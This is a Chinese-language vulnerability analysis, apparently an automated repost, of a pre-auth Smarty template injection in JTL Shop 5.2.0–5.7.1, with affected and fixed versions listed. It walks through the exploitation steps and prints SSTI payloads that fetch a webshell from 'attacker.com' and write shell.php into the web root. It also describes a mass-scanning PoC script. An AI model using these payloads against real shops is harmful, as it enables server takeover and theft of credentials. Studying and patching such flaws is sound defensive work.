CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行

admin 2026-07-12 06:07:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-54390是JTLShop5.2.0至5.7.1版本中的严重SSTI漏洞(CVSS9.8)。攻击者可通过联系表单注入Smarty模板语法,利用未过滤的输入触发远程代码执行,实现服务器完全控制。5.4.0+版本因注册危险修饰符(如filegetcontents)导致风险更高。建议立即升级至5.5.4/5.6.2/5.7.2修复版本。 综合评分: 81 文章分类: 漏洞分析,漏洞POC,红队,WEB安全


cover_image

CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行

md-bot md-bot

Sec打更人

2026年7月10日 19:51 广东

在小说阅读器读本章

去阅读

CVE-2026-54390 漏洞分析报告

CVE编号:CVE-2026-54390

标题:CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行

创建时间:2026-07-10T18:56:55.741142+08:00

漏洞描述

该漏洞是一个位于JTL Shop 5.2.0至5.7.1版本的服务器端模板注入(SSTI)漏洞。漏洞的成因是JTL Shop在处理联系表单的“邮件主题”字段时,未对用户输入进行充分的安全过滤。具体流程如下: 1.输入点:攻击者在联系表单的任意文本字段(如姓名、消息内容)中注入恶意的Smarty模板语法,例如 {$smarty.server.HTTP_HOST} 或 {{7*7}}。输入的payload会被传递给 SmartyRenderer::renderTemplate() 方法。 2.安全缺陷:虽然系统使用了 filterXSS() 函数来过滤XSS攻击(主要是HTML标签),但这个函数并未对Smarty模板标记 {…} 或 {{…}} 进行任何过滤。因此,恶意模板语法被保留。 3.注入点:这些含有恶意模板语法的用户输入,通过 parseSubject() 方法被替换到邮件主题中。之后,主题内容被传递给Smarty模板引擎的 fetch(‘string:’ . $subject) 函数进行渲染。 4.触发执行:Smarty引擎将 $subject 解析为模板并执行其中的所有模板代码,包括攻击者注入的代码。影响:此漏洞在5.2.0至5.3.x版本中,攻击者可以利用Smarty的内置功能读取服务器上的敏感文件。在5.4.0至5.7.1版本中,情况更为严重。相关版本注册了危险的Smarty修饰符(modifier),如 unserialize 和 file_get_contents。攻击者可以利用 file_get_contents 从远程服务器下载文件内容,并结合 file_put_contents(通过PHP代码执行)或直接使用Smarty的写文件功能(如果存在),将恶意内容(例如Webshell)写入到Web目录,从而获得远程代码执行(RCE)能力。

CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行

漏洞类型:服务器端模板注入 (SSTI) 结合不安全修饰符 (Unsafe Smarty Modifiers)影响应用:JTL Shop危害等级:严重(CVSS 9.8),未经身份验证的攻击者可实现远程代码执行,完全控制服务器,窃取敏感信息(如数据库凭据、加密密钥),并植入后门。影响版本:5.2.0 <= 受影响版本 <= 5.7.1 (5.5.4, 5.6.2, 5.7.2 已修复)利用条件:目标运行JTL Shop 5.2.0至5.7.1版本,且启用了联系表单功能(默认开启)。攻击无需用户交互,无需特定权限。POC 可用性:是投毒风险:10%项目地址:shinthink/CVE-2026-54390漏洞详情:NVD数据库

详情

该漏洞是一个位于JTL Shop 5.2.0至5.7.1版本的服务器端模板注入(SSTI)漏洞。漏洞的成因是JTL Shop在处理联系表单的“邮件主题”字段时,未对用户输入进行充分的安全过滤。具体流程如下:

漏洞利用

攻击流程和漏洞利用方式如下:

  1. **漏洞利用方式**:

   – **版本检测**:攻击者首先访问目标网站的根路径(/),检查页面HTML、JavaScript或CSS中是否包含“JTL”等厂商特征。同时可以尝试访问 /jtl.php/includes/jtl\_object.php 等JTL特定的路径来确认应用类型。

   – **版本信息收集**:通过分析页面源代码中的元标签(如 <meta name="generator"...>)或特定JS变量,提取JTL Shop的精确版本号,以确认是否在受影响范围内。

   – **表单发现**:扫描 /Kontakt/contact 等常见联系表单路径,确认表单存在,并提取表单提交的 action URL和CSRF token(如 jtl\_token)。

   – **Payload利用**:

     – **漏洞探测(盲测)**:使用 {7\*7} 作为payload。如果服务器配置了日志或邮件监控,响应内容(如邮件主题)中会显示计算结果“49”。

     – **远程代码执行(高危利用)**:针对5.4.0至5.7.1版本,使用 {{file\_get\_contents('http://attacker.com/shell.txt')|cat:''}} 等payload,通过 file\_get\_contents 修饰符从攻击者控制的服务器读取Webshell代码。如果Smarty环境支持,可以进一步利用 {{file\_put\_contents('/var/www/html/shell.php', file\_get\_contents('http://attacker.com/shell.txt'))}} 等方式写入恶意文件。

  1. **攻击流程**:

   – 攻击者使用提供的POC脚本,输入目标URL列表进行批量扫描。

   – 脚本自动检测JTL Shop及其版本。

   – 脚本自动寻找联系表单并提取必要参数(表单action、CSRF Token)。

   – 脚本向联系表单提交一个请求,将恶意payload填入某个字段(如姓名、消息等)。

   – 服务器处理请求时,Smarty引擎解析了被注入的payload,执行了读取远程内容或写入文件的代码。

   – 攻击者访问写入的Webshell(或通过其他方式),实现对服务器的完全控制。

  1. **POC说明**:提供的Python脚本(cve\_2026\_54390.py)是一个完整的自动化扫描与利用工具。

   – **功能模块**:

     – detect(): 通过多种方法识别目标是否为JTL Shop并提取版本。

     – find\_contact\_form(): 自动定位联系表单,提取action URL和CSRF Token。

     – exploit(): 提交包含恶意Smarty模板语法的表单,触发SSTI。

   – **工作模式**:支持单目标检测和基于线程池的批量扫描。

   – **Payload**:脚本内置了用于检测的 {7\*7} payload,以及用于文件读取和回连的 payload。攻击者可以轻松替换或添加用于执行RCE的payload。

   – **使用方式**:可以通过命令行参数(如 --target--file 指定目标文件)运行。

   – **输出**:清晰显示每个目标的检测状态(vulnerable, patched, no\_form 等)。

修复建议

暂无详细修复建议,请及时关注官方补丁和安全公告。

相关仓库

1. shinthink/CVE-2026-54390

URL:https://github.com/shinthink/CVE-2026-54390

描述:CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch(‘string:’ . ) | 5.2.0-5.7.1


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Sec打更人 md-bot md-bot《CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行》

敬那庙堂之外的月光 网络安全文章

敬那庙堂之外的月光

文章总结: 文章是对一首歌的歌词解读,讲述普通人在大城市奋斗的艰辛与坚持。核心要点包括:少年怀揣梦想进入繁华却面临现实落差;职场中功劳未必论功行赏,清白愿望常被
评论:0   参与:  0